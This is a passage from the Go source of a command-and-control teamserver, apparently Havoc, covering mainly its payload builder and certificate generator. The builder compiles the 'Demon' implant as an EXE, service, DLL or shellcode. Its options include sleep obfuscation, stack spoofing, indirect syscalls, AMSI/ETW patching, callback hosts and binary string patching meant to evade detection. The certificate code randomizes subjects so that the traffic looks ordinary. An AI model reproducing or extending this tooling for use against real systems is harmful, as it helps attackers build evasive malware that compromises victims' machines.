"ERROR_INSTALL_REMOTE_PROHIBITED", 1646: "ERROR_PATCH_REMOVAL_UNSUPPORTED", 1647: "ERROR_UNKNOWN_PATCH", 1648: "ERROR_PATCH_NO_SEQUENCE", 1649: "ERROR_PATCH_REMOVAL_DISALLOWED", 1650: "ERROR_INVALID_PATCH_XML", 1651: "ERROR_PATCH_MANAGED_ADVERTISED_PRODUCT", 1652: "ERROR_INSTALL_SERVICE_SAFEBOOT", } ================================================ FILE: teamserver/pkg/colors/colors.go ================================================ package colors import "github.com/fatih/color" var ( Blue = color.New(color.FgBlue).SprintFunc() Red = color.New(color.FgRed).SprintFunc() Green = color.New(color.FgGreen).SprintFunc() Yellow = color.New(color.FgYellow).SprintFunc() White = color.New(color.FgHiWhite).SprintFunc() BoldBlue = color.New(color.FgBlue, color.Bold).SprintFunc() BoldRed = color.New(color.FgRed, color.Bold).SprintFunc() BoldGreen = color.New(color.FgGreen, color.Bold).SprintFunc() BoldYellow = color.New(color.FgYellow, color.Bold).SprintFunc() BoldWhite = color.New(color.FgHiWhite, color.Bold).SprintFunc() RedUnderline = color.New(color.FgRed).Add(color.Underline).SprintFunc() BlueUnderline = color.New(color.FgBlue).Add(color.Underline).SprintFunc() GreenUnderline = color.New(color.FgGreen).Add(color.Underline).SprintFunc() YellowUnderline = color.New(color.FgYellow).Add(color.Underline).SprintFunc() WhiteUnderline = color.New(color.FgHiWhite).Add(color.Underline).SprintFunc() ) ================================================ FILE: teamserver/pkg/common/builder/builder.go ================================================ package builder import ( "bytes" //"encoding/hex" "encoding/json" "errors" "fmt" "os" "os/exec" "path" "path/filepath" "strconv" "strings" "Havoc/pkg/common" "Havoc/pkg/common/packer" "Havoc/pkg/handlers" "Havoc/pkg/logger" "Havoc/pkg/profile" "Havoc/pkg/utils" "Havoc/pkg/win32" ) // TODO: move to agent package const ( PayloadDir = "payloads" PayloadName = "demon" ) const ( FILETYPE_WINDOWS_EXE = 1 FILETYPE_WINDOWS_SERVICE_EXE = 2 FILETYPE_WINDOWS_DLL = 3 FILETYPE_WINDOWS_REFLECTIVE_DLL = 4 FILETYPE_WINDOWS_RAW_BINARY = 5 ) const ( SLEEPOBF_NO_OBF = 0 SLEEPOBF_EKKO = 1 SLEEPOBF_ZILEAN = 2 SLEEPOBF_FOLIAGE = 3 ) const ( SLEEPOBF_BYPASS_NONE = 0 SLEEPOBF_BYPASS_JMPRAX = 1 SLEEPOBF_BYPASS_JMPRBX = 2 ) const ( PROXYLOADING_NONE = 0 PROXYLOADING_RTLREGISTERWAIT = 1 PROXYLOADING_RTLCREATETIMER = 2 PROXYLOADING_RTLQUEUEWORKITEM = 3 ) const ( AMSIETW_PATCH_NONE = 0 AMSIETW_PATCH_HWBP = 1 AMSIETW_PATCH_MEMORY = 2 ) const ( ARCHITECTURE_X64 = 1 ARCHITECTURE_X86 = 2 ) type BuilderConfig struct { Compiler64 string Compiler86 string Nasm string DebugDev bool SendLogs bool } type Builder struct { buildSource bool sourcePath string silent bool Payloads []string FilesCreated []string CompileDir string FileExtenstion string FileType int ClientId string PatchBinary bool ProfileConfig struct { Original any MagicMzX64 string MagicMzX86 string ImageSizeX64 int ImageSizeX86 int ReplaceStringsX64 map[string]string ReplaceStringsX86 map[string]string } config struct { Arch int ListenerType int ListenerConfig any Config map[string]any } ImplantOptions struct { Config []byte } compilerOptions struct { Config BuilderConfig SourceDirs []string IncludeDirs []string CFlags []string Defines []string Main struct { Demon string Dll string Exe string Svc string } } outputPath string preBytes []byte SendConsoleMessage func(MsgType, Message string) } func NewBuilder(config BuilderConfig) *Builder { var builder = new(Builder) builder.sourcePath = utils.GetTeamserverPath() + "/" + PayloadDir + "/Demon" builder.config.Arch = ARCHITECTURE_X64 builder.compilerOptions.SourceDirs = []string{ "src/core", "src/crypt", "src/inject", "src/asm", } builder.compilerOptions.IncludeDirs = []string{ "include", } /* * -Os Optimize for space rather than speed. * -fno-asynchronous-unwind-tables Suppresses the generation of static unwind tables (as opposed to complete exception-handling code). * -masm=intel Use the intel assembler dialect * -fno-ident Ignore the #ident directive. * -fpack-struct= Set initial maximum structure member alignment. * -falign-functions= Align the start of functions to the next power-of-two greater than or equal to n, skipping up to m-1 bytes. * -s Remove all symbols * -ffunction-sections Place each function into its own section. * -fdata-sections Place each global or static variable into .data.variable_name, .rodata.variable_name or .bss.variable_name. * -falign-jumps= Align branch targets to a power-of-two boundary. * -w Suppress warnings. * -falign-labels= Align all branch targets to a power-of-two boundary. * -fPIC Generate position-independent code if possible (large mode). * -Wl passes a comma-separated list of tokens as a space-separated list of arguments to the linker. * -s Remove all symbol table and relocation information from the executable. * --no-seh Image does not use SEH. * --enable-stdcall-fixup Link _sym to _sym@nn without warnings. * --gc-sections Decides which input sections are used by examining symbols and relocations. */ logger.Debug(fmt.Sprintf("Payload Builder: Enable Debug Mode %v", config.DebugDev)) if config.DebugDev { // debug mode includes symbols builder.compilerOptions.CFlags = []string{ "", "-Os -fno-asynchronous-unwind-tables -masm=intel", "-fno-ident -fpack-struct=8 -falign-functions=1", "-ffunction-sections -fdata-sections -falign-jumps=1 -w", "-falign-labels=1 -fPIC", "-Wl,--no-seh,--enable-stdcall-fixup,--gc-sections", } } else { builder.compilerOptions.CFlags = []string{ "", "-Os -fno-asynchronous-unwind-tables -masm=intel", "-fno-ident -fpack-struct=8 -falign-functions=1", "-s -ffunction-sections -fdata-sections -falign-jumps=1 -w", "-falign-labels=1 -fPIC", "-Wl,-s,--no-seh,--enable-stdcall-fixup,--gc-sections", } } builder.compilerOptions.Main.Dll = "src/main/MainDll.c" builder.compilerOptions.Main.Exe = "src/main/MainExe.c" builder.compilerOptions.Main.Svc = "src/main/MainSvc.c" builder.compilerOptions.Config = config builder.PatchBinary = false return builder } func (b *Builder) SetSilent(silent bool) { b.silent = silent } func (b *Builder) Build() bool { var ( CompileCommand string AsmObj string ) b.CompileDir = "/tmp/" + utils.GenerateID(10) + "/" err := os.Mkdir(b.CompileDir, os.ModePerm) if err != nil { logger.Error("Failed to create compile directory: " + err.Error()) return false } if b.outputPath == "" && b.FileExtenstion != "" { b.SetOutputPath(b.CompileDir + PayloadName + b.FileExtenstion) } if b.config.ListenerType == handlers.LISTENER_EXTERNAL { b.SendConsoleMessage("Error", "External listeners are not support for payload build") b.SendConsoleMessage("Error", "Use SMB listener") return false } if !b.silent { b.SendConsoleMessage("Info", "starting build") } Config, err := b.PatchConfig() if err != nil { b.SendConsoleMessage("Error", err.Error()) return false } if !b.silent { b.SendConsoleMessage("Info", fmt.Sprintf("config size [%v bytes]", len(Config))) } //logger.Debug("len(Config) = ", len(Config)) array := "{" for i := range Config { if i == (len(Config) - 1) { array += fmt.Sprintf("0x%02x", Config[i]) } else { array += fmt.Sprintf("0x%02x\\,", Config[i]) } } array += "}" //logger.Debug("array = " + array) b.compilerOptions.Defines = append(b.compilerOptions.Defines, "CONFIG_BYTES="+array) // enable sending debug entries over HTTP(S) to the teamserver if b.compilerOptions.Config.SendLogs { b.compilerOptions.Defines = append(b.compilerOptions.Defines, "SEND_LOGS") } // enable debug mode if b.compilerOptions.Config.DebugDev { b.compilerOptions.Defines = append(b.compilerOptions.Defines, "DEBUG") } else { if b.FileType == FILETYPE_WINDOWS_SERVICE_EXE { b.compilerOptions.CFlags[0] = "-mwindows -ladvapi32" } else { b.compilerOptions.CFlags[0] += " -nostdlib -mwindows" } } // add compiler if b.config.Arch == ARCHITECTURE_X64 { abs, err := filepath.Abs(b.compilerOptions.Config.Compiler64) if err != nil { if !b.silent { b.SendConsoleMessage("Error", fmt.Sprintf("failed to resolve x64 compiler path: %v", err)) return false } } b.compilerOptions.Config.Compiler64 = abs CompileCommand += "\"" + b.compilerOptions.Config.Compiler64 + "\" " } else { abs, err := filepath.Abs(b.compilerOptions.Config.Compiler86) if err != nil { if !b.silent { b.SendConsoleMessage("Error", fmt.Sprintf("failed to resolve x86 compiler path: %v", err)) return false } } b.compilerOptions.Config.Compiler86 = abs CompileCommand += "\"" + b.compilerOptions.Config.Compiler86 + "\" " } // add sources for _, dir := range b.compilerOptions.SourceDirs { files, err := os.ReadDir(b.sourcePath + "/" + dir) if err != nil { logger.Error(err) } for _, f := range files { var FilePath = dir + "/" + f.Name() // only add the assembly if the demon is x64 if path.Ext(f.Name()) == ".asm" { if (strings.Contains(f.Name(), ".x64.") && b.config.Arch == ARCHITECTURE_X64) || (strings.Contains(f.Name(), ".x86.") && b.config.Arch == ARCHITECTURE_X86) { AsmObj = b.CompileDir + utils.GenerateID(10) + ".o" var AsmCompile string if b.config.Arch == ARCHITECTURE_X64 { AsmCompile = fmt.Sprintf(b.compilerOptions.Config.Nasm+" -f win64 %s -o %s", FilePath, AsmObj) } else { AsmCompile = fmt.Sprintf(b.compilerOptions.Config.Nasm+" -f win32 %s -o %s", FilePath, AsmObj) } logger.Debug(AsmCompile) b.FilesCreated = append(b.FilesCreated, AsmObj) b.Cmd(AsmCompile) CompileCommand += AsmObj + " " } } else if path.Ext(f.Name()) == ".c" { CompileCommand += FilePath + " " } } } CompileCommand += "src/Demon.c " // add include directories for _, dir := range b.compilerOptions.IncludeDirs { CompileCommand += "-I" + dir + " " } // add cflags CompileCommand += strings.Join(b.compilerOptions.CFlags, " ") // add defines b.compilerOptions.Defines = append(b.compilerOptions.Defines, b.GetListenerDefines()...) for _, define := range b.compilerOptions.Defines { CompileCommand += " -D" + define + " " } switch b.FileType { case FILETYPE_WINDOWS_EXE: logger.Debug("Compile exe") if b.config.Arch == ARCHITECTURE_X64 { CompileCommand += "-D MAIN_THREADED -e WinMain " } else { CompileCommand += "-D MAIN_THREADED -e _WinMain " } CompileCommand += b.compilerOptions.Main.Exe + " " break case FILETYPE_WINDOWS_SERVICE_EXE: logger.Debug("Compile Service exe") if b.config.Arch == ARCHITECTURE_X64 { CompileCommand += "-D MAIN_THREADED -D SVC_EXE -lntdll -e WinMain " } else { CompileCommand += "-D MAIN_THREADED -D SVC_EXE -lntdll -e _WinMain " } CompileCommand += b.compilerOptions.Main.Svc + " " break case FILETYPE_WINDOWS_DLL: logger.Debug("Compile dll") if b.config.Arch == ARCHITECTURE_X64 { CompileCommand += "-shared -e DllMain " } else { CompileCommand += "-shared -e _DllMain " } CompileCommand += b.compilerOptions.Main.Dll + " " break case FILETYPE_WINDOWS_RAW_BINARY: logger.Debug("Compile dll and prepend shellcode to it.") DllPayload := NewBuilder(b.compilerOptions.Config) DllPayload.SetSilent(true) DllPayload.ClientId = b.ClientId DllPayload.SendConsoleMessage = b.SendConsoleMessage DllPayload.config.Config = b.config.Config DllPayload.SetArch(b.config.Arch) DllPayload.SetFormat(FILETYPE_WINDOWS_DLL) DllPayload.SetPatchConfig(b.ProfileConfig.Original) DllPayload.SetListener(b.config.ListenerType, b.config.ListenerConfig) if b.config.Arch == ARCHITECTURE_X64 { DllPayload.SetExtension(".x64.dll") } else { DllPayload.SetExtension(".x86.dll") } DllPayload.compilerOptions.Defines = append(DllPayload.compilerOptions.Defines, "SHELLCODE") b.SendConsoleMessage("Info", "compiling core dll...") if DllPayload.Build() { logger.Debug("Successful compiled Dll") var ( ShellcodePath string DllPayloadBytes []byte Shellcode []byte ) DllPayloadBytes = DllPayload.GetPayloadBytes() DllPayload.DeletePayload() b.SendConsoleMessage("Info", fmt.Sprintf("compiled core dll [%v bytes]", len(DllPayloadBytes))) if b.config.Arch == ARCHITECTURE_X64 { ShellcodePath = utils.GetTeamserverPath() + "/" + PayloadDir + "/Shellcode.x64.bin" } else { ShellcodePath = utils.GetTeamserverPath() + "/" + PayloadDir + "/Shellcode.x86.bin" } ShellcodeTemplate, err := os.ReadFile(ShellcodePath) if err != nil { logger.Error("Couldn't read content of file: " + err.Error()) b.SendConsoleMessage("Error", "couldn't read content of file: "+err.Error()) return false } Shellcode = append(ShellcodeTemplate, DllPayloadBytes...) b.SendConsoleMessage("Info", fmt.Sprintf("shellcode payload [%v bytes]", len(Shellcode))) b.preBytes = Shellcode return true } break } CompileCommand += "-o " + b.outputPath if !b.silent { b.SendConsoleMessage("Info", "compiling source") } //logger.Debug(CompileCommand) Successful := b.CompileCmd(CompileCommand) return Successful } func (b *Builder) SetListener(Type int, Config any) { b.config.ListenerType = Type b.config.ListenerConfig = Config } func (b *Builder) SetPatchConfig(Config any) { logger.Debug("Set Patch config from Profile") if Config != nil { b.PatchBinary = true b.ProfileConfig.Original = Config if Config.(*profile.Binary).Header != nil { b.ProfileConfig.MagicMzX64 = Config.(*profile.Binary).Header.MagicMzX64 b.ProfileConfig.MagicMzX86 = Config.(*profile.Binary).Header.MagicMzX86 b.ProfileConfig.ImageSizeX64 = Config.(*profile.Binary).Header.ImageSizeX64 b.ProfileConfig.ImageSizeX86 = Config.(*profile.Binary).Header.ImageSizeX86 } b.ProfileConfig.ReplaceStringsX64 = Config.(*profile.Binary).ReplaceStringsX64 b.ProfileConfig.ReplaceStringsX86 = Config.(*profile.Binary).ReplaceStringsX86 } } func (b *Builder) SetFormat(Format int) { b.FileType = Format } func (b *Builder) SetArch(Arch int) { b.config.Arch = Arch } func (b *Builder) SetConfig(Config string) error { err := json.Unmarshal([]byte(Config), &b.config.Config) if err != nil { logger.Error("Failed to Unmarshal json to object: " + err.Error()) b.SendConsoleMessage("Error", "failed to Unmarshal json to object: "+err.Error()) return err } return nil } func (b *Builder) SetOutputPath(path string) { b.outputPath = path } func (b *Builder) SetExtension(ext string) { b.FileExtenstion = ext } func (b *Builder) GetOutputPath() string { return b.outputPath } func (b *Builder) Patch(ByteArray []byte) []byte { if b.config.Arch == ARCHITECTURE_X64 { if b.ProfileConfig.MagicMzX64 != "" { for i := range b.ProfileConfig.MagicMzX64 { ByteArray[i] = b.ProfileConfig.MagicMzX64[i] } } if b.ProfileConfig.ReplaceStringsX64 != nil { for old, _ := range b.ProfileConfig.ReplaceStringsX64 { new := []byte(b.ProfileConfig.ReplaceStringsX64[old]) // make sure they are the same length if len(new) < len(old) { new = append(new, bytes.Repeat([]byte{0}, len(old)-len(new))...) } if len(new) > len(old) { logger.Error(fmt.Sprintf("invalid replacement rule, new value (%s) can be longer than the old value (%s)", string(new), old)) } else { ByteArray = bytes.Replace(ByteArray, []byte(old), new, -1) } } } } else { if b.ProfileConfig.MagicMzX86 != "" { for i := range b.ProfileConfig.MagicMzX86 { ByteArray[i] = b.ProfileConfig.MagicMzX86[i] } } if b.ProfileConfig.ReplaceStringsX86 != nil { for old, _ := range b.ProfileConfig.ReplaceStringsX86 { new := []byte(b.ProfileConfig.ReplaceStringsX86[old]) // make sure they are the same length if len(new) < len(old) { new = append(new, bytes.Repeat([]byte{0}, len(old)-len(new))...) } if len(new) > len(old) { logger.Error(fmt.Sprintf("invalid replacement rule, new value (%s) can be longer than the old value (%s)", string(new), old)) } else { ByteArray = bytes.Replace(ByteArray, []byte(old), new, -1) } } } } return ByteArray } func (b *Builder) PatchConfig() ([]byte, error) { var ( DemonConfig = packer.NewPacker(nil, nil) ConfigSleep int ConfigJitter int ConfigAlloc int ConfigExecute int ConfigSpawn64 string ConfigSpawn32 string ConfigObfTechnique int ConfigObfBypass int ConfigProxyLoading = PROXYLOADING_NONE ConfigStackSpoof = win32.FALSE ConfigSyscall = win32.FALSE ConfigAmsiPatch = AMSIETW_PATCH_NONE err error ) logger.Debug(b.config.Config) if val, ok := b.config.Config["Sleep"].(string); ok { ConfigSleep, err = strconv.Atoi(val) if err != nil { if !b.silent { b.SendConsoleMessage("Error", "failed to convert Sleep string to int: "+err.Error()) } return nil, err } } if val, ok := b.config.Config["Jitter"].(string); ok { ConfigJitter, err = strconv.Atoi(val) if err != nil { if !b.silent { b.SendConsoleMessage("Error", "failed to convert Jitter string to int: "+err.Error()) } return nil, err } if ConfigJitter < 0 || ConfigJitter > 100 { return nil, errors.New("Jitter has to be between 0 and 100") } } else { b.SendConsoleMessage("Info", "jitter not found?") ConfigJitter = 0 } if val, ok := b.config.Config["Indirect Syscall"].(bool); ok { if val { ConfigSyscall = win32.TRUE if !b.silent { b.SendConsoleMessage("Info", "indirect syscalls has been enabled") } } } if b.FileType == FILETYPE_WINDOWS_SERVICE_EXE { if val, ok := b.config.Config["Service Name"].(string); ok { if len(val) > 0 { b.compilerOptions.Defines = append(b.compilerOptions.Defines, "SERVICE_NAME=\\\""+val+"\\\"") if !b.silent { b.SendConsoleMessage("Info", "set service name to "+val) } } else { val = common.RandomString(6) b.compilerOptions.Defines = append(b.compilerOptions.Defines, "SERVICE_NAME=\\\""+val+"\\\"") if !b.silent { b.SendConsoleMessage("Info", "service name not specified... using random name") b.SendConsoleMessage("Info", "set service name to "+val) } } } } // Demon Config DemonConfig.AddInt(ConfigSleep) DemonConfig.AddInt(ConfigJitter) if Injection := b.config.Config["Injection"].(map[string]any); len(Injection) > 0 { if val, ok := Injection["Alloc"].(string); ok && len(val) > 0 { switch val { case "Win32": ConfigAlloc = 1 break case "Native/Syscall": ConfigAlloc = 2 break default: ConfigAlloc = 0 break } } else { return nil, errors.New("Injection Alloc is undefined") } if val, ok := Injection["Execute"].(string); ok && len(val) > 0 { switch val { case "Win32": ConfigExecute = 1 break case "Native/Syscall": ConfigExecute = 2 break default: ConfigExecute = 0 break } } else { return nil, errors.New("Injection Execute is undefined") } if val, ok := Injection["Spawn64"].(string); ok && len(val) > 0 { ConfigSpawn64 = val } else { return nil, errors.New("Injection Spawn64 is undefined") } if val, ok := Injection["Spawn32"].(string); ok && len(val) > 0 { ConfigSpawn32 = val } else { return nil, errors.New("injection Spawn32 is undefined") } } else { return nil, errors.New("injection is undefined") } if val, ok := b.config.Config["Sleep Technique"].(string); ok && len(val) > 0 { switch val { case "WaitForSingleObjectEx": ConfigObfTechnique = SLEEPOBF_NO_OBF if !b.silent { b.SendConsoleMessage("Info", "no sleep obfuscation has been specified") } break case "Foliage": ConfigObfTechnique = SLEEPOBF_FOLIAGE if !b.silent { b.SendConsoleMessage("Info", "sleep obfuscation \"Foliage\" has been specified") } break case "Ekko": ConfigObfTechnique = SLEEPOBF_EKKO if !b.silent { b.SendConsoleMessage("Info", "sleep obfuscation \"Ekko\" has been specified") } break case "Zilean": ConfigObfTechnique = SLEEPOBF_ZILEAN if !b.silent { b.SendConsoleMessage("Info", "sleep obfuscation \"Zilean\" has been specified") } break default: ConfigObfTechnique = SLEEPOBF_NO_OBF if !b.silent { b.SendConsoleMessage("Info", "no sleep obfuscation has been specified") } break } } else { return nil, errors.New("sleep Obfuscation technique is undefined") } if val, ok := b.config.Config["Sleep Jmp Gadget"].(string); ok && len(val) > 0 { if ConfigObfTechnique != SLEEPOBF_NO_OBF { switch val { case "jmp rax": ConfigObfTechnique = SLEEPOBF_BYPASS_JMPRAX if !b.silent { b.SendConsoleMessage("Info", "sleep jump gadget \"jmp rax\" has been specified") } break case "jmp rbx": ConfigObfBypass = SLEEPOBF_BYPASS_JMPRBX if !b.silent { b.SendConsoleMessage("Info", "sleep jump gadget \"jmp rbx\" has been specified") } break default: ConfigObfBypass = SLEEPOBF_BYPASS_NONE if !b.silent { b.SendConsoleMessage("Info", "no sleep jump gadget has been specified") } break } } else { // if no sleep obfuscation technique has been specified then // no jmp gadgets are going to be used. if !b.silent { b.SendConsoleMessage("Info", "sleep jump gadget option ignored") } } } else { return nil, errors.New("sleep Obfuscation technique is undefined") } if val, ok := b.config.Config["Stack Duplication"].(bool); ok { if ConfigObfTechnique != SLEEPOBF_NO_OBF { if val { ConfigStackSpoof = win32.TRUE if !b.silent { b.SendConsoleMessage("Info", "stack duplication has been specified") } } } else { // if no sleep obfuscation technique has been specified then // stack spoofing is not possible during sleep lol. if !b.silent { b.SendConsoleMessage("Info", "stack duplication option ignored") } } } else { return nil, errors.New("sleep Obfuscation technique is undefined") } if val, ok := b.config.Config["Proxy Loading"].(string); ok && len(val) > 0 { switch val { case "None (LdrLoadDll)": ConfigProxyLoading = PROXYLOADING_NONE if !b.silent { b.SendConsoleMessage("Info", "no proxy loading technique specified (using LdrLoadDll)") } break case "RtlRegisterWait": ConfigProxyLoading = PROXYLOADING_RTLREGISTERWAIT if !b.silent { b.SendConsoleMessage("Info", "proxy loading technique: RtlRegisterWait") } break case "RtlCreateTimer": ConfigProxyLoading = PROXYLOADING_RTLCREATETIMER if !b.silent { b.SendConsoleMessage("Info", "proxy loading technique: RtlCreateTimer") } break case "RtlQueueWorkItem": ConfigProxyLoading = PROXYLOADING_RTLQUEUEWORKITEM if !b.silent { b.SendConsoleMessage("Info", "proxy loading technique: RtlQueueWorkItem") } break default: ConfigProxyLoading = PROXYLOADING_NONE if !b.silent { b.SendConsoleMessage("Info", "no proxy loading technique specified (using LdrLoadDll)") } break } } else { return nil, errors.New("sleep Obfuscation technique is undefined") } if val, ok := b.config.Config["Amsi/Etw Patch"].(string); ok && len(val) > 0 { switch val { case "Hardware breakpoints": ConfigAmsiPatch = AMSIETW_PATCH_HWBP if !b.silent { b.SendConsoleMessage("Info", "amsi/etw patching technique: hardware breakpoints") } break default: ConfigAmsiPatch = AMSIETW_PATCH_NONE if !b.silent { b.SendConsoleMessage("Info", "amsi/etw patching disabled") } break } } else { return nil, errors.New("sleep Obfuscation technique is undefined") } // behaviour configuration (alloc/exec/spawn) DemonConfig.AddInt(ConfigAlloc) DemonConfig.AddInt(ConfigExecute) DemonConfig.AddWString(ConfigSpawn64) DemonConfig.AddWString(ConfigSpawn32) // bypass techniques DemonConfig.AddInt(ConfigObfTechnique) DemonConfig.AddInt(ConfigObfBypass) DemonConfig.AddInt(ConfigStackSpoof) DemonConfig.AddInt(ConfigProxyLoading) DemonConfig.AddInt(ConfigSyscall) DemonConfig.AddInt(ConfigAmsiPatch) // Listener Config switch b.config.ListenerType { case handlers.LISTENER_HTTP: var ( Config = b.config.ListenerConfig.(*handlers.HTTP) Port, err = strconv.Atoi(Config.Config.PortConn) ) if Config.Config.PortConn != "" && err != nil { return nil, errors.New("Failed to parse the PortConn: " + Config.Config.PortConn) } else if Config.Config.PortConn == "" { Port, err = strconv.Atoi(Config.Config.PortBind) if err != nil { return nil, errors.New("Failed to parse the PortBind: " + Config.Config.PortBind) } } DemonConfig.AddInt64(Config.Config.KillDate) WorkingHours, err := common.ParseWorkingHours(Config.Config.WorkingHours) if err != nil { return nil, err } DemonConfig.AddInt32(WorkingHours) if strings.ToLower(Config.Config.Methode) == "get" { //DemonConfig.AddWString("GET") return nil, errors.New("GET method is not supported") } else { DemonConfig.AddWString("POST") } switch Config.Config.HostRotation { case "round-robin": DemonConfig.AddInt(0) break case "random": DemonConfig.AddInt(1) break default: DemonConfig.AddInt(1) break } DemonConfig.AddInt(len(Config.Config.Hosts)) for _, host := range Config.Config.Hosts { var HostPort []string logger.Debug(fmt.Sprintf("Host => %v", host)) HostPort = strings.Split(host, ":") host = HostPort[0] if len(HostPort) > 1 { /* seems like we specified host:port */ logger.Debug("host:port") var ( Host = HostPort[0] Port int ) if val, err := strconv.Atoi(HostPort[1]); err == nil { Port = val } else { logger.Error("Failed convert Port string to int: " + err.Error()) return nil, err } /* Adding Host:Port */ DemonConfig.AddWString(common.GetInterfaceIpv4Addr(Host)) DemonConfig.AddInt(Port) } else { /* seems like we specified host only. append the listener bind port to it */ logger.Debug("host only") /* Adding Host:Port */ DemonConfig.AddWString(common.GetInterfaceIpv4Addr(HostPort[0])) DemonConfig.AddInt(Port) } } if Config.Config.Secure { DemonConfig.AddInt(win32.TRUE) } else { DemonConfig.AddInt(win32.FALSE) } DemonConfig.AddWString(Config.Config.UserAgent) if len(Config.Config.Headers) == 0 { if len(Config.Config.HostHeader) > 0 { DemonConfig.AddInt(2) DemonConfig.AddWString("Content-type: */*") DemonConfig.AddWString("Host: " + Config.Config.HostHeader) } else { DemonConfig.AddInt(1) DemonConfig.AddWString("Content-type: */*") } } else { if len(Config.Config.HostHeader) > 0 { Config.Config.Headers = append(Config.Config.Headers, "Host: "+Config.Config.HostHeader) } DemonConfig.AddInt(len(Config.Config.Headers)) for _, headers := range Config.Config.Headers { logger.Debug(headers) DemonConfig.AddWString(headers) } } if len(Config.Config.Uris) == 0 { DemonConfig.AddInt(1) DemonConfig.AddWString("/") } else { DemonConfig.AddInt(len(Config.Config.Uris)) for _, uri := range Config.Config.Uris { logger.Debug(uri) DemonConfig.AddWString(uri) } } // adding proxy connection info if Config.Config.Proxy.Enabled { DemonConfig.AddInt(win32.TRUE) var ProxyUrl = fmt.Sprintf("%v://%v:%v", Config.Config.Proxy.Type, Config.Config.Proxy.Host, Config.Config.Proxy.Port) DemonConfig.AddWString(ProxyUrl) DemonConfig.AddWString(Config.Config.Proxy.Username) DemonConfig.AddWString(Config.Config.Proxy.Password) } else { DemonConfig.AddInt(win32.FALSE) } break case handlers.LISTENER_PIVOT_SMB: var Config = b.config.ListenerConfig.(*handlers.SMB) DemonConfig.AddWString("\\\\.\\pipe\\" + Config.Config.PipeName) DemonConfig.AddInt64(Config.Config.KillDate) WorkingHours, err := common.ParseWorkingHours(Config.Config.WorkingHours) if err != nil { logger.Error("Failed to parse the WorkingHours: " + err.Error()) return nil, err } DemonConfig.AddInt32(WorkingHours) break } //logger.Debug("DemonConfig:\n" + hex.Dump(DemonConfig.Buffer())) return DemonConfig.Buffer(), nil } func (b *Builder) GetPayloadBytes() []byte { if len(b.preBytes) > 0 { b.SendConsoleMessage("Good", "payload generated") return b.preBytes } var ( FileBuffer []byte err error ) if b.outputPath == "" { logger.Error("Output Path is empty") if !b.silent { b.SendConsoleMessage("Error", "output Path is empty") } return nil } FileBuffer, err = os.ReadFile(b.outputPath) if err != nil { logger.Error("Couldn't read content of file: " + err.Error()) if !b.silent { b.SendConsoleMessage("Error", "couldn't read content of file: "+err.Error()) } return nil } if b.PatchBinary { FileBuffer = b.Patch(FileBuffer) } if !b.silent { b.SendConsoleMessage("Good", "payload generated") } return FileBuffer } func (b *Builder) Cmd(cmd string) bool { var ( Command = exec.Command("sh", "-c", cmd) stdout bytes.Buffer stderr bytes.Buffer err error ) Command.Dir = b.sourcePath Command.Stdout = &stdout Command.Stderr = &stderr err = Command.Run() if err != nil { logger.Error("Couldn't compile implant: " + err.Error()) if !b.silent { b.SendConsoleMessage("Error", "couldn't compile implant: "+err.Error()) b.SendConsoleMessage("Error", "compile output: "+stderr.String()) } logger.Debug(cmd) logger.Debug("StdErr:\n" + stderr.String()) return false } return true } func (b *Builder) CompileCmd(cmd string) bool { if b.Cmd(cmd) { if !b.silent { b.SendConsoleMessage("Info", "finished compiling source") } return true } return false } func (b *Builder) GetListenerDefines() []string { var defines []string switch b.config.ListenerType { case handlers.LISTENER_HTTP: defines = append(defines, "TRANSPORT_HTTP") break case handlers.LISTENER_PIVOT_SMB: defines = append(defines, "TRANSPORT_SMB") break } return defines } func (b *Builder) DeletePayload() { b.FilesCreated = append(b.FilesCreated, b.outputPath) b.FilesCreated = append(b.FilesCreated, b.CompileDir) for _, FileCreated := range b.FilesCreated { if strings.HasSuffix(FileCreated, ".bin") == false { if err := os.Remove(FileCreated); err != nil { logger.Debug("Couldn't remove " + FileCreated + ": " + err.Error()) } } } } ================================================ FILE: teamserver/pkg/common/certs/https.go ================================================ package certs // Copied from Silver C2: https://github.com/BishopFox/sliver/blob/master/server/certs/https.go import ( "bytes" "crypto/ecdsa" "crypto/rand" "crypto/rsa" "crypto/x509" "crypto/x509/pkix" "encoding/binary" "encoding/pem" "fmt" "math/big" "net" "strings" "time" "Havoc/pkg/logger" insecureRand "math/rand" ) const ( // HTTPSCA - Directory containing operator certificates HTTPSCA = "https" // RSAKeySize - Default size of RSA keys in bits RSAKeySize = 2048 // This is plenty 4096 is overkill // Certs are valid for ~3 Years, minus up to 1 year from Now() validFor = 3 * (365 * 24 * time.Hour) // ECCKey - Namespace for ECC keys ECCKey = "ecc" // RSAKey - Namespace for RSA keys RSAKey = "rsa" ) var ( // State -> Localities -> Street Addresses states = map[string]map[string][]string{ "": { "": {""}, }, "Arizona": { "Phoenix": {""}, "Mesa": {""}, "Scottsdale": {""}, "Chandler": {""}, }, "California": { "San Francisco": {"", "Golden Gate Bridge"}, "Oakland": {""}, "Berkeley": {""}, "Palo Alto": {""}, "Los Angeles": {""}, "San Diego": {""}, "San Jose": {""}, }, "Colorado": { "Denver": {""}, "Boulder": {""}, "Aurora": {""}, "Fort Collins": {""}, }, "Connecticut": { "New Haven": {""}, "Bridgeport": {""}, "Stamford": {""}, "Norwalk": {""}, }, "Washington": { "Seattle": {""}, "Tacoma": {""}, "Olympia": {""}, "Spokane": {""}, }, "Florida": { "Miami": {""}, "Orlando": {""}, "Tampa": {""}, "Jacksonville": {""}, }, "Illinois": { "Chicago": {""}, "Aurora": {""}, "Naperville": {""}, "Peoria": {""}, }, } orgNames = []string{ "", "ACME", "Partners", "Tech", "Cloud", "Synergy", "Test", "Debug", } orgSuffixes = []string{ "", "co", "llc", "inc", "corp", "ltd", } ) func randomState() string { keys := make([]string, 0, len(states)) for k := range states { keys = append(keys, k) } return keys[insecureRand.Intn(len(keys))] } func randomLocality(state string) string { locales := states[state] keys := make([]string, 0, len(locales)) for k := range locales { keys = append(keys, k) } return keys[insecureRand.Intn(len(keys))] } func randomStreetAddress(state string, locality string) string { addresses := states[state][locality] return addresses[insecureRand.Intn(len(addresses))] } func randomProvinceLocalityStreetAddress() ([]string, []string, []string) { state := randomState() locality := randomLocality(state) streetAddress := randomStreetAddress(state, locality) return []string{state}, []string{locality}, []string{streetAddress} } func randomPostalCode() []string { switch insecureRand.Intn(1) { case 0: return []string{fmt.Sprintf("%d", insecureRand.Intn(8000)+1000)} default: return []string{} } } func randomSubject(commonName string) *pkix.Name { province, locale, street := randomProvinceLocalityStreetAddress() return &pkix.Name{ Organization: randomOrganization(), Country: []string{"US"}, Province: province, Locality: locale, StreetAddress: street, PostalCode: 